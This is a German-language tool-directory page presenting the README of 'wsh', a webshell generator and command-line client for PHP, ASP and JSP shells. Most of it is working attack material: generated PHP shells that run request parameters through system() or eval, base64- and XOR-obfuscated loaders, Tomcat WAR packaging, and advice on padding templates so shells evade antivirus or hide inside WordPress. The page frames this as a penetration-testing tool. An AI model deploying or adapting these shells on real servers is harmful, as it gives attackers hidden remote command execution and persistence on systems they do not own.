Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
wsh — Webshell-Generator und Befehlszeilenschnittstelle. | Kitploit
Tools/GitHubGitHub/eatonchips/wsh
Payload-GenerierungWebanwendungs-ExploitationPenetrationstestsCommand and Control
GitHubeatonchips/wsh

wsh

Webshell-Generator und Befehlszeilenschnittstelle.

Repository anzeigen
8520vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

wsh

wsh (ausgesprochen woosh) ist ein Webshell-Generator und eine Kommandozeilenschnittstelle. Ursprünglich war es nur ein HTTP-Client, da die Interaktion mit Webshells mühsam ist. Es gibt ein Formular, um einen Befehl zu senden, muss man ihn in ein Eingabefeld tippen und einen Button drücken. Ich wollte etwas, das besser in meinen Workflow passt und im Terminal läuft. So entstand wsh.

Der Client bietet Befehlsverlauf, Protokollierung und kann so konfiguriert werden, dass er mit einer bereits bereitgestellten Standard-Webshell (mit Formular/Button) interagiert. Der Generator erstellt Webshells in PHP, ASP und JSP. Sie werden mit zufälligen Variablen generiert, sodass jede einen eindeutigen Hash hat. Sie können mit einer Whitelist, Passwörtern konfiguriert werden und ermöglichen das Senden von Befehlen über benutzerdefinierte Header und Parameter. Generator und Client können über Kommandozeilen-Flags oder Konfigurationsdateien konfiguriert werden, um ein Setup zu speichern, das für einen funktioniert, ohne den sogenannten „--help-Tanz“ durchführen zu müssen. Nach der Konfiguration verwenden Client und Generator dieselbe Konfigurationsdatei.

Funktionen

  • Interaktion mit bereitgestellten Webshells über die Kommandozeile
    • Protokollierung
  • Generierung von Webshells in PHP, JSP und ASP
    • IP-Whitelist
    • Passwortschutz
    • Senden von Befehlen über benutzerdefinierte Header/Parameter
    • Datei-Upload / -Download
    • Base64-codierte Shells für ASP und PHP
    • XOR-verschlüsselte Shells für ASP und PHP

Verwendung

Verbinden

root@kitploit:~
wsh <URL> [flags]

-X, --method string        HTTP-Methode: GET, POST, PUT, PATCH, DELETE (Standard "GET")
    --param string         Parameter zum Senden des Befehls
    --header string        Header zum Senden des Befehls
-P, --params strings       HTTP-Anfrageparameter
-H, --headers strings      HTTP-Anfrageheader
-c, --config string        Konfigurationsdatei
-k, --ignore-ssl           Ungültige Zertifikate ignorieren
    --log string           Protokolldatei
    --prefix string        Befehl voranstellen: 'cmd /c', 'powershell.exe', 'bash'
    --timeout int          Anfrage-Timeout in Sekunden (Standard 10)
    --trim-prefix string   Ausgabe-Präfix abschneiden
    --trim-suffix string   Ausgabe-Suffix abschneiden
-h, --help                 Hilfe für wsh

Generieren

root@kitploit:~
wsh generate <language> [flags]
wsh g <language> [flags]

-X, --method string        HTTP-Methode (GET,POST,PUT,PATCH,DELETE) (Standard "GET")
-p, --param string         Parameter zum Senden des Befehls
    --header string        Header zum Senden des Befehls
-w, --whitelist strings    IP-Adressen für die Whitelist
-o, --outfile string       Ausgabedatei
    --no-file              Datei-Upload/Download-Funktionen deaktivieren
    --pass string          Shell passwortgeschützt machen
    --pass-header string   Header zum Senden des Passworts
    --pass-param string    Parameter zum Senden des Passworts
    --xor-header string    Header zum Senden des XOR-Schlüssels
    --xor-key string       Schlüssel für XOR-Verschlüsselung
    --xor-param string     Parameter zum Senden des XOR-Schlüssels
    --base64               Shell Base64-codieren
    --minify               Webshell-Code minifizieren
-t, --template string      Webshell-Vorlagendatei
-h, --help                 Hilfe für generate

Client-Verwendung / Datei-E/A

Ich wollte, dass der Client sprachunabhängig ist, daher mussten alle Webshells dieselbe Upload/Download-Logik implementieren. Leider ist es mühsam, Multipart-Formular-Uploads nativ in JSP und klassischem ASP durchzuführen, daher werden Dateien als Base64 in einem Parameter hochgeladen. Dies ist nicht ideal, da die maximale Dateiuploadgröße auf die maximale Parametergröße begrenzt ist. In Zukunft werde ich möglicherweise versuchen, Multipart-Formular-Uploads zu implementieren oder mehrere Anfragen zu stellen, um größere Dateien zu übertragen.

root@kitploit:~
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote_filepath> [local_filepath]  Datei herunterladen
put <local_filepath> [remote_filepath]  Datei hochladen
clear                                   Bildschirm löschen
exit                                    Shell beenden

Generator-Beispiele

Einfache Shells

Die folgenden Befehle generieren und interagieren mit einer einfachen PHP-Webshell.

root@kitploit:~
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --param cmd
root@kitploit:~
<?php
  $MfOb = $_REQUEST['cmd'];
  $MfOb = trim($MfOb);
  system($MfOb);
  die;
?>

Befehle können auch über HTTP-Header gesendet werden.

root@kitploit:~
$ wsh generate php --no-file --header user-agent  -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --header user-agent

Whitelisting

root@kitploit:~
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

Passwortschutz

Passwörter können über Parameter oder Header gesendet werden.

root@kitploit:~
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

Base64- / XOR-Verschlüsselung

Diese Funktionalität ist interessant, erfordert jedoch möglicherweise eine Modifikation der Vorlagen, um nützlich zu sein. Bei ASP und JSP sind die Bibliotheken, die das Decodieren von Base64 ermöglichen, bekannte IOCs und werden erkannt. Wenn Sie diese Funktionen nutzen möchten, empfehle ich, die Vorlage zu ändern und zu verschleiern.

Wie beim Passwortschutz kann der XOR-Schlüssel über einen Parameter oder einen Header gesendet werden.

root@kitploit:~
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>

$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
  for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
    $oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
  }
}
eval($oooqt);
?>

Tomcat-Shells

Um eine Webshell zu generieren, die in Tomcat bereitgestellt werden kann, erstellen Sie eine JSP-Shell namens index.jsp und führen Sie den folgenden Befehl aus, um sie in eine WAR-Datei zu packen.

Gelegentlich verfügt die Tomcat-Umgebung nicht über die für Datei-Upload/Download erforderlichen Bibliotheken, und die Shell gibt bei einer Anfrage einen Fehler aus. Verwenden Sie zur Behebung das Flag --no-file.

root@kitploit:~
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp

Vorlagen

Die Verwendung der Go-Template-Bibliothek verleiht dem Generator viel Flexibilität. Gelegentlich wird eine Webshell von der Antivirensoftware erfasst; ich habe jedoch festgestellt, dass das Hinzufügen von viel zufälligem Code in der Vorlagendatei die Shell oft harmlos genug erscheinen lässt, um auf der Festplatte zu überleben. Ich habe ein Beispiel in der Datei templates/covert-php.tml beigefügt.

Darüber hinaus können Sie diese Vorlagen ändern, um Ihren Namen/Ihre Kontaktinformationen für die Zuschreibung im Falle eines Penetrationstests hinzuzufügen.

Client-Funktionalität

Präfix

Ein Präfix kann angegeben werden, um jedem an die Shell gesendeten Befehl eine Zeichenfolge voranzustellen. Dies kann verwendet werden, um eine normale cmd-Shell in eine PowerShell-Shell zu verwandeln.

root@kitploit:~
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/27/2020  11:49 PM                config
d-----        5/27/2020  11:49 PM                en
d-----        5/28/2020  12:25 AM                en-US
-a----        5/27/2020  11:49 PM         119808 appcmd.exe

Protokollierung

Protokolleinträge sind mit einem Zeitstempel versehen und enthalten den Host, mit dem interagiert wird. Protokolldateien werden angehängt, daher können Sie dieselbe Protokolldatei für mehrere Sitzungen/Hosts verwenden.

root@kitploit:~
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...

[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs

Präfix/Suffix abschneiden

Der Client kann so konfiguriert werden, dass überflüssige HTML-Inhalte aus einer Anfrage entfernt werden. Dies ist nützlich, wenn mit standardmäßigen HTML-Oberflächen-Webshells interagiert wird, oder wenn eine generierte Shell heimlich in eine WordPress-Installation eingebettet ist.

root@kitploit:~
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre>
README.md
cmd
example-configs
index.php
main.go
templates
        </pre>
    </div>
. . .

$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates
Tool herunterladen